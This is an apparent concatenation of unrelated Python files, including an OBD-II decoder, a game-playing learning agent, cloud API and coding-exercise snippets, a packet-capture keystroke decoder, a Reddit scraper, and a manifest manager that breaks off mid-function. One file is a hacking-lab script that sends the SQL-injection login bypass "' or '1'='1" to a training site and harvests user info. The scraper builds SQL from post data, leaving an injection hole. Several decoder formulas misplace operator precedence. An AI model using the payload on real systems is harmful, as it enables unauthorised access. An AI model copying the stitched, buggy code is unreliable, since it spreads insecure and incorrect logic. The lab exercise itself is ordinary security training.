"""
Python module presenting an API to an ELM327 serial interface
(C) 2015 Jamie Fraser <fwaggle@fwaggle.org>
http://github.com/fwaggle/pyELM327

Please see License.txt and Readme.md.
"""

# Pretty much taken from https://en.wikipedia.org/wiki/OBD-II_PIDs
__pids ={
		0x01: {
			# TODO: ignoring fuel system #2 atm
			0x03: {
				'Name': 'Fuel system status',
				'Units': '',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) [A-Z0-9]{2} $',
				'Value': lambda m: decode_0x03(int(m.group(1),16))},
			0x04: {
				'Name': 'Calculated engine load value',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) * 100.0 / 255 },
			0x05: {
				'Name': 'Engine coolant temperature',
				'Units': '*C',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) - 40 },
			0x06: {
				'Name': 'Short term fuel % trim - Bank 1',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16)-128) * 100.0 / 128 },
			0x07: {
				'Name': 'Long term fuel % trim - Bank 1',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16)-128) * 100.0 / 128 },
			0x08: {
				'Name': 'Short term fuel % trim - Bank 2',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16)-128) * 100.0 / 128 },
			0x09: {
				'Name': 'Long term fuel % trim - Bank 2',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16)-128) * 100.0 / 128 },
			0x0A: {
				'Name': 'Fuel pressure',
				'Units': 'kPa (gauge)',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) * 3 },
			0x0B: {
				'Name': 'Intake manifold absolute pressure',
				'Units': 'kPa (absolute)',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) },
			0x0C: {
				'Name': 'Engine RPM',
				'Units': 'RPM',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) ([A-Z0-9]{2}) $',
				'Value': lambda m: ((int(m.group(1),16) * 256) + int(m.group(2), 16))/4.0},
			0x0D: {
				'Name': 'Vehicle speed',
				'Units': 'km/h',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) },
			0x0E: {
				'Name': 'Timing advance',
				'Units': '* rel #1 cylinder',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16) - 128) / 2.0 },
			0x0F: {
				'Name': 'Intake air temperature',
				'Units': '*C',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) - 40 },
			0x10: {
				'Name': 'MAF Sensor air flow rate',
				'Units': 'grams/sec',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) ([A-Z0-9]{2}) $',
				'Value': lambda m: ((int(m.group(1),16) * 256) + int(m.group(2), 16))/100.0},
			0x11: {
				'Name': 'Throttle position',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16) * 100.0) / 255 },
			0x12: {
				'Name': 'Commanded secondary air status',
				'Units': 'Bit-encoded',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) },
			0x13: {
				'Name': 'Oxygen sensors present',
				'Units': 'Bit-encoded',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) },

			# NOTE: We currently throw away the fuel trim readings for these PIDs
			0x14: {
				'Name': 'Bank 1, Sensor 1: Oxygen sensor voltage',
				'Units': 'V',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) [A-Z0-9]{2} $',
				'Value': lambda m: ((int(m.group(1),16) / 200))},
			0x15: {
				'Name': 'Bank 1, Sensor 2: Oxygen sensor voltage',
				'Units': 'V',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) [A-Z0-9]{2} $',
				'Value': lambda m: ((int(m.group(1),16) / 200))},
			0x16: {
				'Name': 'Bank 1, Sensor 3: Oxygen sensor voltage',
				'Units': 'V',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) [A-Z0-9]{2} $',
				'Value': lambda m: ((int(m.group(1),16) / 200))},
			0x17: {
				'Name': 'Bank 1, Sensor 4 Oxygen sensor voltage',
				'Units': 'V',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) [A-Z0-9]{2} $',
				'Value': lambda m: ((int(m.group(1),16) / 200))},
			0x18: {
				'Name': 'Bank 2, Sensor 1: Oxygen sensor voltage',
				'Units': 'V',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) [A-Z0-9]{2} $',
				'Value': lambda m: ((int(m.group(1),16) / 200))},
			0x19: {
				'Name': 'Bank 2, Sensor 2: Oxygen sensor voltage',
				'Units': 'V',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) [A-Z0-9]{2} $',
				'Value': lambda m: ((int(m.group(1),16) / 200))},
			0x1A: {
				'Name': 'Bank 2, Sensor 3: Oxygen sensor voltage',
				'Units': 'V',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) [A-Z0-9]{2} $',
				'Value': lambda m: ((int(m.group(1),16) / 200))},
			0x1B: {
				'Name': 'Bank 2, Sensor 4 Oxygen sensor voltage',
				'Units': 'V',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) [A-Z0-9]{2} $',
				'Value': lambda m: ((int(m.group(1),16) / 200))},

			0x1C: {
				'Name': 'OBD standards this vehicle conforms to',
				'Units': '',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: decode_0x1c(int(m.group(1),16)) },
			0x1F: {
				'Name': 'Run time since engine start',
				'Units': 's',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16) * 256) + int(m.group(2), 16)},
			0x21: {
				'Name': 'Distance traveled with malfuction indicator lamp on',
				'Units': 'km',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16) * 256) + int(m.group(2), 16)},
			0x22: {
				'Name': 'Fuel Rail Pressure (relative to manifold vacuum)',
				'Units': 'kPa',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16) * 256) + int(m.group(2), 16) * 0.079},
			0x23: {
				'Name': 'Fuel Rail Pressure (diesel, or gasoline direct injection)',
				'Units': 'kPa',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16) * 256) + int(m.group(2), 16) * 10},
			0x2C: {
				'Name': 'Commanded EGR',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16) * 100.0) / 255 },
			0x2D: {
				'Name': 'EGR Error',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: ((int(m.group(1),16) - 128) * 100.0) / 128 },
			0x2E: {
				'Name': 'Commanded evaporative purge',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16) * 100.0) / 255 },
			0x2F: {
				'Name': 'Fuel level input',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16) * 100.0) / 255 },
			0x30: {
				'Name': '# of warm-ups since codes cleared',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) },
			0x31: {
				'Name': 'Distance traveled since codes cleared',
				'Units': 'km',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16) * 256) + int(m.group(2), 16)},
			0x33: {
				'Name': 'Barometric pressure',
				'Units': 'kPa (absolute)',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) },
			0x42: {
				'Name': 'Control module voltage',
				'Units': 'V',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16) * 256) + int(m.group(2), 16) / 1000.0},
			0x43: {
				'Name': 'Absolute load value',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16) * 256) + int(m.group(2), 16) * 100.0 / 255},
			0x44: {
				'Name': 'Fuel/Air commanded equivalence ratio',
				'Units': '',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16) * 256) + int(m.group(2), 16) / 32768.0},
			0x45: {
				'Name': 'Relative throttle position',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) * 100.0 / 255 },
			0x46: {
				'Name': 'Ambient air temperature',
				'Units': '*C',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) - 40 },
			0x47: {
				'Name': 'Absolute throttle position B',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) * 100.0 / 255 },
			0x48: {
				'Name': 'Absolute throttle position C',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) * 100.0 / 255 },
			0x49: {
				'Name': 'Absolute throttle position D',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) * 100.0 / 255 },
			0x4A: {
				'Name': 'Absolute throttle position E',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) * 100.0 / 255 },
			0x4B: {
				'Name': 'Absolute throttle position F',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) * 100.0 / 255 },
			0x4C: {
				'Name': 'Commanded throttle actuator',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) * 100.0 / 255 },
			0x4D: {
				'Name': 'Time run with MIL on',
				'Units': 'minutes',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16) * 256) + int(m.group(2), 16)},
			0x4E: {
				'Name': 'Time since codes cleared',
				'Units': 'minutes',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) ([A-Z0-9]{2}) $',
				'Value': lambda m: (int(m.group(1),16) * 256) + int(m.group(2), 16)},
			0x52: {
				'Name': 'Fuel ethanol percentage',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) * 100.0 / 255 },
			0x53: {
				'Name': 'Absolute evaporative system vapor pressure',
				'Units': 'kPa',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) ([A-Z0-9]{2}) $',
				'Value': lambda m: ((int(m.group(1),16) * 256) + int(m.group(2), 16)) / 200.0},
			0x54: {
				'Name': 'Relative evaporative system vapor pressure',
				'Units': 'kPa',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) ([A-Z0-9]{2}) $',
				'Value': lambda m: ((int(m.group(1),16) * 256) + int(m.group(2), 16)) - 32767},
			0x59: {
				'Name': 'Absolute fuel rail pressure',
				'Units': 'kPa',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) ([A-Z0-9]{2}) $',
				'Value': lambda m: ((int(m.group(1),16) * 256) + int(m.group(2), 16)) * 10},
			0x5A: {
				'Name': 'Relative accelerator pedal position',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) * 100.0 / 255 },
			0x5B: {
				'Name': 'Hybrid battery pack remaining life',
				'Units': '%',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) * 100.0 / 255 },
			0x5C: {
				'Name': 'Engine oil temperature	',
				'Units': '*C',
				'Pattern': '^[A-Z0-9]{2} [A-Z0-9]{2} ([A-Z0-9]{2}) $',
				'Value': lambda m: int(m.group(1),16) - 40 },
		}
	}

# Most of these strings also stolen mercilessly from Wikipedia
def decode_0x03(data):
	"""
	Decode the bit-encoding of Mode 01, PID 03 and return appropriate string.

	This is apparently bit-encoded, but only one bit may be set at any one time.
	If you want the raw value, just do int([0:1]) on the string.
	"""
	if data == 1:
		return '01: Open loop due to insufficient engine temperature'
	elif data == 2:
		return '02: Closed loop, using oxygen sensor feedback to determine fuel mix'
	elif data == 4:
		return '04: Open loop due to engine load OR fuel cut due to deceleration'
	elif data == 8:
		return '08: Open loop due to system failure'
	elif data == 16:
		return '16: Closed loop, using at least one oxygen sensor but there is a fault in the feedback system'
	else:
		return 'NO DATA'

__standards ={
	1:	'OBD-II as defined by the CARB',
	2:	'OBD as defined by the EPA',
	3:	'OBD and OBD-II',
	4:	'OBD-I',
	5:	'Not OBD compliant',
	6:	'EOBD (Europe)',
	7:	'EOBD and OBD-II',
	8:	'EOBD and OBD',
	9:	'EOBD, OBD and OBD II',
	10:	'JOBD (Japan)',
	11:	'JOBD and OBD II',
	12:	'JOBD and EOBD',
	13:	'JOBD, EOBD, and OBD II',
	14:	'Reserved',
	15:	'Reserved',
	16:	'Reserved',
	17:	'Engine Manufacturer Diagnostics (EMD)',
	18:	'Engine Manufacturer Diagnostics Enhanced (EMD+)',
	19:	'Heavy Duty On-Board Diagnostics (Child/Partial) (HD OBD-C)',
	20:	'Heavy Duty On-Board Diagnostics (HD OBD)',
	21:	'World Wide Harmonized OBD (WWH OBD)',
	22:	'Reserved',
	23:	'Heavy Duty Euro OBD Stage I without NOx control (HD EOBD-I)',
	24:	'Heavy Duty Euro OBD Stage I with NOx control (HD EOBD-I N)',
	25:	'Heavy Duty Euro OBD Stage II without NOx control (HD EOBD-II)',
	26:	'Heavy Duty Euro OBD Stage II with NOx control (HD EOBD-II N)',
	27:	'Reserved',
	28:	'Brazil OBD Phase 1 (OBDBr-1)',
	29:	'Brazil OBD Phase 2 (OBDBr-2)',
	30:	'Korean OBD (KOBD)',
	31:	'India OBD I (IOBD I)',
	32:	'India OBD II (IOBD II)',
	33:	'Heavy Duty Euro OBD Stage VI (HD EOBD-IV)',
}

def decode_0x1c(data):
	"""
	Decode the bit-encoding of Mode 01, PID 1C.

	Returns a string describing the standards adhered to by the ECU.
	If you want the raw value, use int([0:2]) on the result.
	"""
	if data in __standards:
		return '%3d: %s' % (data, __standards[data])
	else:
		return 'NO DATA'


import numpy as np
import random
import checkerboard

############################
# The checkerboard which is able to judge the game situation.
############################
class VAgent:
	################
	# The constructor.
	################
	def __init__(self, para_board, para_symbol = checkerboard.WHITE, para_epsilon = 0.1, para_alpha = 0.1):
		# Step 1. Accept parameters.
		self.environment = para_board
		self.symbol = para_symbol
		self.epsilon = para_epsilon
		self.alpha = para_alpha

		# Step 2. Set states initialize values.
		self.initial_value_array = np.zeros(checkerboard.NUM_STATES)
		for i in range(checkerboard.NUM_STATES):
			temp_situation = self.environment.compute_game_situation_state(i)
			if temp_situation == checkerboard.UNFINISHED:
				self.initial_value_array[i] = 0.5
			elif (temp_situation == checkerboard.TIE):
				self.initial_value_array[i] = 0.5
			elif (temp_situation == self.symbol):
				self.initial_value_array[i] = 1.0 # Winner
			else:
				self.initial_value_array[i] = 0.0 # Loser
		#print("initial_value_array:", self.initial_value_array)

		# Step 3. Initialize other member variables.
		self.value_array = np.zeros(checkerboard.NUM_STATES)
		self.training_stage = True
		self.recent_action = 0

	################
	# Reset.
	################
	def reset(self):
		self.value_array = self.initial_value_array.copy()

	################
	# Set stage, True for training and false for testing.
	################
	def set_stage(self, para_training_stage):
		self.training_stage = para_training_stage

	################
	# Compute the next state.
	################
	def compute_next_state(self, para_current_state, para_action):
		# print("compute_next_state", para_action)
		temp_base = 1
		for j in range(para_action):
			temp_base = temp_base * 3

		return int(para_current_state + self.symbol * temp_base)

	################
	# Print the learning results.
	################
	def print_learning_results(self):
		print("Value array: ", self.value_array)

	################
	# Compute the next state.
	################
	def step(self):
		# Step 1. Which actions are valid? What are the values of corresponding states?
		temp_valid_action_list = self.environment.get_valid_actions()
		temp_length = len(temp_valid_action_list)
		temp_value_array = np.zeros(temp_length)
		temp_current_state = self.environment.get_current_state();
		temp_next_state = 0
		for i in range(temp_length):
			temp_next_state = self.compute_next_state(temp_current_state, temp_valid_action_list[i])
			temp_value_array[i] = self.value_array[temp_next_state]

		# Step 2. Choose one action to take.
		self.recent_action = self.select_action(temp_value_array, temp_valid_action_list)
		#if (not self.training_stage):
		#	print("player {}, action: {}".format(self.symbol, self.recent_action))
		temp_next_state = self.compute_next_state(temp_current_state, self.recent_action)

		# Step 3. Tell the environment to change.
		self.environment.step(self.recent_action)

		# Step 4. Return the environment's situation.
		temp_situation = int(self.environment.get_game_situation())
		return int(self.environment.get_game_situation())

	################
	# Backup for this route, update the value array. This is the core code.
	################
	def backup(self):
		temp_current_state = 0
		temp_next_state = 0
		# print("Player {} ".format(self.symbol));

		temp_route_length = self.environment.get_current_route_length();
		temp_route_states = self.environment.get_current_route_states();
		#SimpleTools.variableTrackingOutput(
		#environment.stateToCheckerboardString(temp_route_states[temp_route_length - 1]));
		#SimpleTools.variableTrackingOutput(
		#"The final state is: " + temp_route_states[temp_route_length - 1] + "\r\n");
		for i in range(temp_route_length - 2, -1, -1):
			temp_next_state = int(temp_route_states[i + 1])
			temp_current_state = int(temp_route_states[i])

			#SimpleTools.variableTrackingOutput(
			#print("value_array[{}] from {}".format(temp_current_state, self.value_array[temp_current_state]))
			temp_change = self.value_array[temp_next_state] - self.value_array[temp_current_state]
			self.value_array[temp_current_state] = self.value_array[temp_current_state] + self.alpha * temp_change
			#print(" to {}".format(self.value_array[temp_current_state]))
			#SimpleTools.variableTrackingOutput(
			#		environment.stateToCheckerboardString(temp_current_state));

	################
	# Select an action.
	################
	def select_action(self, para_value_array, para_valid_actions):
		#print("para_value_array: ", para_value_array)
		#print("para_valid_actions: ", para_valid_actions)
		if (len(para_valid_actions) == 0):
			print("No action to select.")
		if (self.training_stage and (random.random() < self.epsilon)):
			return self.select_random_action(para_value_array, para_valid_actions)
		else:
			return self.select_best_action(para_value_array, para_valid_actions)

	################
	# Select a random action.
	################
	def select_random_action(self, para_value_array, para_valid_actions):
		temp_index = random.randint(0, len(para_valid_actions) - 1)
		# print("temp_index = ", temp_index)
		return para_valid_actions[temp_index]

	################
	# Select a best action.
	################
	def select_best_action(self, para_value_array, para_valid_actions):
		temp_max_value = -1;
		temp_best_action_array = np.zeros(checkerboard.NUM_ACTIONS)
		temp_num_best_actions = 0;

		for i in range(len(para_value_array)):
			if (temp_max_value < para_value_array[i]):
				temp_num_best_actions = 0
				temp_max_value = para_value_array[i]
				temp_best_action_array[0] = para_valid_actions[i]
				temp_num_best_actions = temp_num_best_actions + 1
			elif (temp_max_value == para_value_array[i]):
				temp_best_action_array[temp_num_best_actions] = para_valid_actions[i]
				temp_num_best_actions = temp_num_best_actions + 1

		#print("temp_num_best_actions = ", temp_num_best_actions)
		#print("temp_best_action_array = ", temp_best_action_array)

		temp_index = random.randint(0, temp_num_best_actions - 1)

		return int(temp_best_action_array[temp_index])

################
# Unit test.
################
if __name__ == '__main__':
	temp_checkerboard = checkerboard.Checkerboard()
	temp_vagent = VAgent(temp_checkerboard)
	temp_vagent.reset()

	for i in range(10):
		print("r: ", random.randint(0, 0))

	print("Hello, VAgent.")


"""Utility functions need to run ceci"""

from contextlib import contextmanager
import sys
import os

def add_python_path(path, start):
    """add a path to the env var PYTHONPATH"""
    old = os.environ.get("PYTHONPATH", "")
    if start:
        new = path + ":" + old
    else:
        new = old + ":" + path
    os.environ["PYTHONPATH"] = new

def remove_python_path(path, start):
    """remove a path from PYTHONPATH"""
    p = os.environ.get("PYTHONPATH", "").split(":")
    if start:
        p.remove(path)
    else:
        remove_last(p, path)
    os.environ["PYTHONPATH"] = ":".join(p)

@contextmanager
def extra_paths(paths, start=True):
    """Add extra paths to PYTHONPATH while in a context"""

    # allow passing a single path or
    # a list of them
    if isinstance(paths, str):
        paths = paths.split()

    # On enter, add paths to both sys.path,
    # and the PYTHONPATH env var, so that subprocesses
    # can see it,
    # either the start or the end depending
    # on the start argument
    for path in paths:
        if start:
            sys.path.insert(0, path)
        else:
            sys.path.append(path)

        add_python_path(path, start)

    # Return control to caller
    try:
        yield
    # On exit, remove the paths
    finally:
        for path in paths:
            try:
                if start:
                    sys.path.remove(path)
                else:
                    remove_last(sys.path, path)
                # also remove env var entry
                remove_python_path(path, start)
            # If e.g. user has already done this
            # manually for some reason then just
            # skip
            except ValueError:
                pass

def remove_last(lst, item):
    """
    Removes (in-place) the last instance of item from the list lst.
    Raises ValueError if item is not in list

    Parameters
    ----------
    lst: List
        A list of anything
    item: object
        Item to be removed

    Returns
    -------
    None
    """
    tmp = lst[::-1]
    tmp.remove(item)
    lst[:] = tmp[::-1]

def embolden(text):
    """
    Make a string print in bold in a terminal using control codes.

    Note that if this text is read in other applications (not in a shell)
    then it probably won't work.

    Parameters
    ----------
    text: str
        Text to be emboldened

    Returns
    -------
    str
        Emboldened text
    """
    return "\033[1m" + text + "\033[0m"


from tencentcloud.ess.v20201111.models import CreateFlowSignReviewRequest, UserInfo

from api.common import get_client_instance
from config import Config

def create_flow_sign_review(operator_user_id, flow_id, review_type, review_message):

    # 构造客户端调用实例
    client = get_client_instance(
        Config.secret_id,
        Config.secret_key,
        Config.endpoint)

    # 构造请求体
    req = CreateFlowSignReviewRequest()

    # 调用方用户信息，参考通用结构
    user_info = UserInfo()
    user_info.UserId = operator_user_id
    req.Operator = user_info

    req.FlowId = flow_id

    req.ReviewType = review_type

    req.ReviewMessage = review_message

    response = client.CreateFlowSignReview(req)
    return response

if __name__ == '__main__':
    """
    提交企业签署流程审批结果调用样例
    """

    try:
        _flow_id = '********************************'

        _review_type = '********************************'

        _review_message = '********************************'

        resp = create_flow_sign_review(Config.operator_user_id, _flow_id, _review_type, _review_message)
        print(resp)
    except Exception as e:
        print(e)


#예산
#부서별 물품 금액조사
#최대한 많은 부서의 물품
# d = 부서별 신청 금액 (1~100/최대100000원씩)
# budget= 총예산(1~10000000)
#순서 정렬 후 ~~~
def solution(d, budget):
    answer = 0
    d.sort()
    for i in range(len(d)):
        answer += d[i]
        if answer > budget:
            return i
    return len(d)

solution([1,3,2,5,4],9)


# -*- coding: utf-8 -*-
class Solution:
    def equalSubstring(self, s: str, t: str, maxCost: int) -> int:
        cur_cost = 0
        i, j = 0, 0
        max_len = 0
        while j < len(s):
            cur_cost += abs(ord(s[j]) - ord(t[j]))
            while cur_cost > maxCost:
                cur_cost -= abs(ord(s[i]) - ord(t[i]))
                i += 1
            max_len = max(max_len, j - i + 1)
            j += 1
        return max_len


__problem__ = \
"""
No prepared statement used in backend.
"""

__attack__ = \
"""
Used Ambigous expression in input field.
"""

__mitigation__ = \
"""
Use prepared statement
"""

import logging

import requests

from __base__ import setup_log, extract_user_info

log = logging.getLogger(__name__)

def inject():
    with requests.session() as session:
        session.verify = False
        session.get("http://glocken.hacking-lab.com/12001/inputval_case2/inputval2/")
        response = session.post("https://glocken.hacking-lab.com/12001/inputval_case2/auth_inputval2/login",
                                data={
                                    'username': 'hacker10',
                                    'password': "' or '1'='1",
                                    'action': 'login',
                                    'originalURL': 'https://glocken.hacking-lab.com/12001/inputval_case2/inputval2/controller?action=profile&pid=1',
                                    'send': 'Login',
                                })
        user_info = extract_user_info(response)
        log.info(user_info)

if __name__ == '__main__':
    setup_log()
    inject()


from scapy.all import *

keycodes = [
    "RESERVED", "ESC",
    "1", "2", "3", "4", "5", "6", "7", "8", "9", "0",
    "MINUS", "EQUAL", "BACKSPACE", "TAB",
    "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P",
    "LEFTBRACE", "RIGHTBRACE", "ENTER", "LEFTCTRL",
    "A", "S", "D", "F", "G", "H", "J", "K", "L",
    "SEMICOLON", "APOSTROPHE", "GRAVE", "LEFTSHIFT", "BACKSLASH",
    "Z", "X", "C", "V", "B", "N", "M",
    "COMMA", "DOT", "SLASH", "RIGHTSHIFT", "KPASTERISK",
    "LEFTALT", "SPACE", "CAPSLOCK",
    "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10",
    "NUMLOCK", "SCROLLLOCK"
]

packets = rdpcap("../distfiles/evidence.pcapng")

log = ""
shift = False
for packet in packets:
    if TCP in packet and packet[TCP].dport == 6379 and Raw in packet[TCP]:
        load = packet[TCP][Raw].load
        if b'$17' in load:
            code = int.from_bytes(load[-5:-3], 'little')
            value = load[-3]
            if code < len(keycodes):
                if value == 0:
                    if "SHIFT" in keycodes[code]:
                        shift = False

                elif value == 1:
                    if "SHIFT" in keycodes[code]:
                        shift = True
                    else:
                        c = keycodes[code]
                        if len(c) == 1:
                            log += c if shift else c.lower()
                        else:
                            log += "<" + c + ">"

                elif value == 2:
                    log += "[" + c + "]"

            else:
                if value == 1:
                    if code == 89:
                        log += "_"
                    else:
                        log += "<?>"

print(log)


import sys
import praw
import sqlite3

if len(sys.argv) > 1:
	# Parse Parameters
	DB_NAME     = sys.argv[1]
	POST_COUNT  = int(sys.argv[2])
	TIME_FILTER = sys.argv[3]
	TYPE        = sys.argv[4]
	SUBREDDITS  = []
	for i in range(5, len(sys.argv)):
		SUBREDDITS.append(sys.argv[i])
else:
	DB_NAME = "test_data.db"
	POST_COUNT = 1
	TIME_FILTER = "year"
	TYPE = "top"
	SUBREDDITS = ['politics']

print(SUBREDDITS)

conn = sqlite3.connect("data/{}".format(DB_NAME))
db   = conn.cursor()
reddit = praw.Reddit('polbot')

for sub in SUBREDDITS:
	print("processing subreddit: {}".format(sub))

	if TYPE == "top":
		collection = reddit.subreddit(sub).top(time_filter=TIME_FILTER, limit=POST_COUNT)
	if TYPE == "controversial":
		collection = reddit.subreddit(sub).top(time_filter=TIME_FILTER, limit=POST_COUNT)

	for post in collection:
		print("saving post {}".format(post.title))
		title = post.title.replace('"', ' ')
		title = title.replace("'", " ")
		db.execute("INSERT INTO posts(post_id, post_title) VALUES ('{}', '{}')".format(post.id, title))
		conn.commit()

conn.close()


"""
Functions for system-related tasks (currently just registering/deregistering the executor manifest).
"""

import json
import logging
import os
import sys
import typing

from .interpreter import Interpreter

LOGGER = logging.getLogger(__name__)
LOGGER.addHandler(logging.NullHandler())

MANIFEST_FILE_NAME = "pyla.json"
EXECUTORS_DIR_NAME = "executors"

class ManifestManager:
    """
    Register or deregister a manifest file.
    """

    @staticmethod
    def get_home_dir() -> typing.Optional[str]:
        """
        Get the "home" directory of the current user, (or `APPDATA` dir on windows).
        """
        os_name = sys.platform.lower()

        if os_name == "windows":
            return os.getenv("APPDATA")

        return os.getenv("HOME")

    def user_dir(self) -> str:
        """
        Get the current user's Stencila data directory.

        This is the directory that Stencila configuration settings, such as the installed Stencila hosts, and document
        buffers get stored.
        """
        os_name = sys.platform.lower()

        home_dir = self.get_home_dir()

        if not home_dir:
